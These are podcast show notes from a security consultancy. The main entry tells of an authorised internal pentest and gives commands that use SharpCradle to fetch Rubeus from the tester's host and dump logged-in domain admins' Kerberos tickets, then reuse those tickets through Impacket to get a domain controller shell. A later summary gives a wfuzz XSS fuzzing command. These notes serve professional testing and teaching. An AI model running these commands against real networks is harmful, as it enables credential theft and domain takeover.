7MS #442: Tales of Internal Network Pentest Pwnage - Part 23

7MS #442: Tales of Internal Network Pentest Pwnage - Part 23

Hey friends, I dare declare this to be my favorite tale of internal pentest pwnage so far. Why? Because the episode features:

  • Great blue team tools alerting our customer to a lot of the stuff we were doing
  • An EDR that we tried to beat up (but it beat us up instead)
  • SharpGPOAbuse which we talked about extensively last week
  • Separation of "everyday" accounts from privileged accounts
  • Multi-factor authentication bypass!
  • Some delicious findings in GPOs thanks to Ryan Hausec's great two part series (1 and 2). If you're not sure if you're vulnerable to MS14-025, check out this great article which discusses the vulnerability and its mitigation.

The final cherry on top was a new attack another pentester taught me. Use a combination of SharpCradle and Rubeus to steal logged in DA creds:

SharpCradle.exe -w https://your.kali.box.ip/Rubeus.exe dump /service:krbtgt /nowrap

This will give you a TGT (base64 encoded) for active logon sessions to the box. So if a DA is logged in, you can snag their TGT and then convert that into a .kirbi file on your Kali box with:

echo "LooooonnnnnggggggTicketStriiiiiiiiiiinnnngggg" | base64 -d > BobTheDomainAdmin.kirb

Convert the .kirbi file to a .ccache file with ticket converter. Then you can use Impacket tools to use/abuse that access to your heart's delight.

We ended up using Impacket to pop a shell on a DC and add a low-priv account to DA. The interesting thing is that the alert the blue team received essentially said "The DC itself added the user to the DA group" - the alert did not have attribution to the user whose ticket we stole! Good tip for future pentests!

Avsnitt(683)

7MS #628: How to Succeed in Business Without Really Crying – Part 17

7MS #628: How to Succeed in Business Without Really Crying – Part 17

Hey friends, today we talk about some not-so-glamorous but ever-so-important stuff related to running a cybersecurity consultancy, including: Taking an inventory of all the SaaS stuff your business uses – to keep an eye on spending, know when services are expiring, and track which credit card the services are tied to (so the services don’t almost get cancelled like some did with me!) Tracking domain names, and setting up your own automated rules to notify you well ahead of time when a domain is expiring (maybe that passion project is never gonna happen…time to let those old domains go 🙂 Making a spreadsheet of all important accounts and checking all the auth methods allowed for each account – to prevent attacks such as SIM-swapping

14 Juni 20249min

7MS #627: Migrating from vCenter to Proxmox – Part 2

7MS #627: Migrating from vCenter to Proxmox – Part 2

Hey friends, today we continue our series all about migrating from VMWare to the world Proxmox!  Specifically: Getting my first Proxmox-based NUCs out in the field for live engagements! Pulling the trigger on two bare-metal Proxmox servers to eventually replace my vCenter environment. OVHCloud made it super easy to to add Proxmox to those bare-metals with a simple wizard. I couldn’t figure out how to get a Proxmox VM as the main firewall for the whole Proxmox node, but it turns out it helps to RTFM. When getting a bare-metal OS/hypervisor installed, be careful in that the provider may leave the management ports of that host open to the whole world.  In OVH’s case, they have a software firewall that can be tuned so that, for example, only you can hit the management ports for the box. Getting VLANs setup is a snap once the virtual hardware stuff is in place.

10 Juni 202435min

7MS #626: Web Pentesting Pastiche

7MS #626: Web Pentesting Pastiche

Hey friends, today we’ve got a security milkshake episode about Web app pentesting. Specifically we talk about: Burp Suite Enterprise Caido – a lightweight alternative to Burp wfuzz – Web fuzzer.  Using a proxy:wfuzz -c -z file,/usr/share/wfuzz/wordlist/Injections/XSS.txt –sc 200 “https://somedomain.com/shopping?&qty=%2FUZZ” -p 10.0.7.11:8080 KNOXSS – for XSS testing – pairs nicely with this wrapper: https://github.com/xnl-h4ck3r/knoxnl In the tangent dept, I moan about how I hate some things about Proxmox but am also starting to love it. In the tangent #2 department, I talk about tinnitus and acupuncture!

31 Maj 202450min

7MS #625: A Peek into the 7MS Mail Bag - Part 4

7MS #625: A Peek into the 7MS Mail Bag - Part 4

Road trip time! I’ve been traveling this week doing some fun security projects, and thought all this highway time would be a perfect opportunity to take a dip into the 7MS mail bag!  Today’s questions include: How do you price internal network penetration tests? Have you ever had to deal with a difficult client situation, and how did you resolve it? Are you done going after certs?  Spoiler: no – I’m interested in doing the XINTRA labs (not sure if it includes a cert) Do you provide managed services or just stick with more “one and done” assessment work? You said the “smart business people” tell you to form reseller partnerships, otherwise you’re leaving money on the table – so why don’t you? I’m thinking of starting my own cybersecurity consultancy – what type of insurance do I need to protect me in case of a digital “oops?”

24 Maj 202444min

7MS #624: Tales of Pentest Pwnage – Part 57

7MS #624: Tales of Pentest Pwnage – Part 57

Today’s tale of pentest pwnage is all about my new favorite attack called SPN-less RBCD. We did a teaser episode last week that actually ended up being a full episode all about the attack, and even step by step commands to pull it off.  But I didn’t want today’s episode to just be “Hey friends, check out the YouTube version of this attack!” so I also cover: Our first first impressions of Burp Enterprise Why I have a real hard time believing you have to follow all these steps to install Kali on Proxmox

17 Maj 202429min

7MS #623: Prelude to a Tale of Pentest Pwnage

7MS #623: Prelude to a Tale of Pentest Pwnage

Today’s prelude to a tale of pentest pwnage talks about something called “spnless RBCD” (resource-based constrained delegation).  The show notes don't format well here in the podcast notes, so head to 7minsec.com to see the notes in all their glory.

10 Maj 202424min

7MS #622: Migrating from vCenter to Proxmox - Part 1

7MS #622: Migrating from vCenter to Proxmox - Part 1

Sadly, the Broadcom acquisition of VMWare has hit 7MinSec hard – we love running ESXi on our NUCs, but ESXi free is no longer available.  To add insult to injury, our vCenter lab at OVHcloud HQ got a huge price gouge (due to license cost increase; not OVH’s fault).  Now we’re exploring Proxmox as an alternative hypervisor, so we’re using today’s episode to kick off a series about the joys and pains of this migration process.

5 Maj 202416min

7MS #621: Eating the Security Dog Food - Part 6

7MS #621: Eating the Security Dog Food - Part 6

Today we revisit a series about eating the security dog food – in other words, practicing what we preach as security gurus!  Specifically we talk about: We’re going to get a third-party assessment on 7MinSec (the business) Tips for secure email backup/storage Limiting the retention of sensitive data you store in cloud places

26 Apr 202423min

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